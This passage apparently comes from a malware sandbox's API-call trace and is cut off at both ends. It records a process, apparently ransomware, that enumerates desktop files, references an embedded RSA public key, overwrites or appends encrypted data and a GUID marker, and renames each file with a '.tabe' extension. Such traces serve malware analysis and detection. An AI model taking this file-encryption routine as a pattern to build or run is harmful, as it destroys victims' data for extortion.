(in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.773] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.773] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\") returned="Yr-pcf 3y122NkdCREb\\" [0126.773] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0126.773] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.773] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.773] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.773] PathFindFileNameW (pszPath="") returned="" [0126.773] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90c9110, ftCreationTime.dwHighDateTime=0x1d5e537, ftLastAccessTime.dwLowDateTime=0xab188e0, ftLastAccessTime.dwHighDateTime=0x1d5de98, ftLastWriteTime.dwLowDateTime=0xab188e0, ftLastWriteTime.dwHighDateTime=0x1d5de98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.774] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90c9110, ftCreationTime.dwHighDateTime=0x1d5e537, ftLastAccessTime.dwLowDateTime=0xab188e0, ftLastAccessTime.dwHighDateTime=0x1d5de98, ftLastWriteTime.dwLowDateTime=0xab188e0, ftLastWriteTime.dwHighDateTime=0x1d5de98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.774] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44af5700, ftCreationTime.dwHighDateTime=0x1d5e633, ftLastAccessTime.dwLowDateTime=0x17250520, ftLastAccessTime.dwHighDateTime=0x1d5e401, ftLastWriteTime.dwLowDateTime=0x17250520, ftLastWriteTime.dwHighDateTime=0x1d5e401, nFileSizeHigh=0x0, nFileSizeLow=0xa503, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ArOVUDVaZU5j.wav", cAlternateFileName="AROVUD~1.WAV")) returned 1 [0126.774] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\ArOVUDVaZU5j.wav") returned=".wav" [0126.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\ArOVUDVaZU5j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\arovudvazu5j.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.774] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=42243) returned 1 [0126.774] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.775] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa4dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.775] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.777] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xa503, lpOverlapped=0x0) returned 1 [0126.778] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.778] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.778] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.778] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.778] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.778] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.778] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.779] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.779] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.779] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.779] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.779] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.779] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.779] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.779] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa503, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.779] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.779] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.779] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.779] CloseHandle (hObject=0x618) returned 1 [0126.780] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\ArOVUDVaZU5j.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\arovudvazu5j.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\ArOVUDVaZU5j.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\arovudvazu5j.wav.tabe")) returned 1 [0126.782] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab5f8690, ftCreationTime.dwHighDateTime=0x1d5d7e3, ftLastAccessTime.dwLowDateTime=0xafb44e60, ftLastAccessTime.dwHighDateTime=0x1d5dd4c, ftLastWriteTime.dwLowDateTime=0xafb44e60, ftLastWriteTime.dwHighDateTime=0x1d5dd4c, nFileSizeHigh=0x0, nFileSizeLow=0x13a44, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="J0w0Iz5W.mkv", cAlternateFileName="")) returned 1 [0126.782] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\J0w0Iz5W.mkv") returned=".mkv" [0126.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\J0w0Iz5W.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\j0w0iz5w.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.783] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=80452) returned 1 [0126.783] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.784] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13a1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.784] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.785] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x13a44, lpOverlapped=0x0) returned 1 [0126.786] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.786] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.786] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.786] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.787] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.787] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.787] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.787] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.787] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.787] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.787] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.787] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.787] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.787] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.788] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.788] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.788] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.788] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.788] CloseHandle (hObject=0x618) returned 1 [0126.789] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\J0w0Iz5W.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\j0w0iz5w.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\J0w0Iz5W.mkv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\j0w0iz5w.mkv.tabe")) returned 1 [0126.790] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb14ac640, ftCreationTime.dwHighDateTime=0x1d5e7a7, ftLastAccessTime.dwLowDateTime=0xab7435c0, ftLastAccessTime.dwHighDateTime=0x1d5e154, ftLastWriteTime.dwLowDateTime=0xab7435c0, ftLastWriteTime.dwHighDateTime=0x1d5e154, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lFYNBb9GU", cAlternateFileName="LFYNBB~1")) returned 1 [0126.790] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a31e4a0, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0x16993620, ftLastAccessTime.dwHighDateTime=0x1d5deee, ftLastWriteTime.dwLowDateTime=0x16993620, ftLastWriteTime.dwHighDateTime=0x1d5deee, nFileSizeHigh=0x0, nFileSizeLow=0x3b75, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qfnQXTM-.rtf", cAlternateFileName="")) returned 1 [0126.790] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\qfnQXTM-.rtf") returned=".rtf" [0126.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\qfnQXTM-.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\qfnqxtm-.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.790] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=15221) returned 1 [0126.791] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.791] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3b4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.791] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.793] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x3b75, lpOverlapped=0x0) returned 1 [0126.793] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.794] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.794] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.794] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.794] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.794] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.794] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.794] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.794] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.794] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.795] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.795] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.795] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.795] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.795] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3b75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.795] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.795] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.795] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.795] CloseHandle (hObject=0x618) returned 1 [0126.796] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\qfnQXTM-.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\qfnqxtm-.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\qfnQXTM-.rtf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\qfnqxtm-.rtf.tabe")) returned 1 [0126.798] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359f3480, ftCreationTime.dwHighDateTime=0x1d5d943, ftLastAccessTime.dwLowDateTime=0x5518a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x5518a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0x14814, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="y0vtI.m4a", cAlternateFileName="")) returned 1 [0126.798] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\y0vtI.m4a") returned=".m4a" [0126.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\y0vtI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\y0vti.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.799] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=83988) returned 1 [0126.799] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.800] SetFilePointerEx (in: 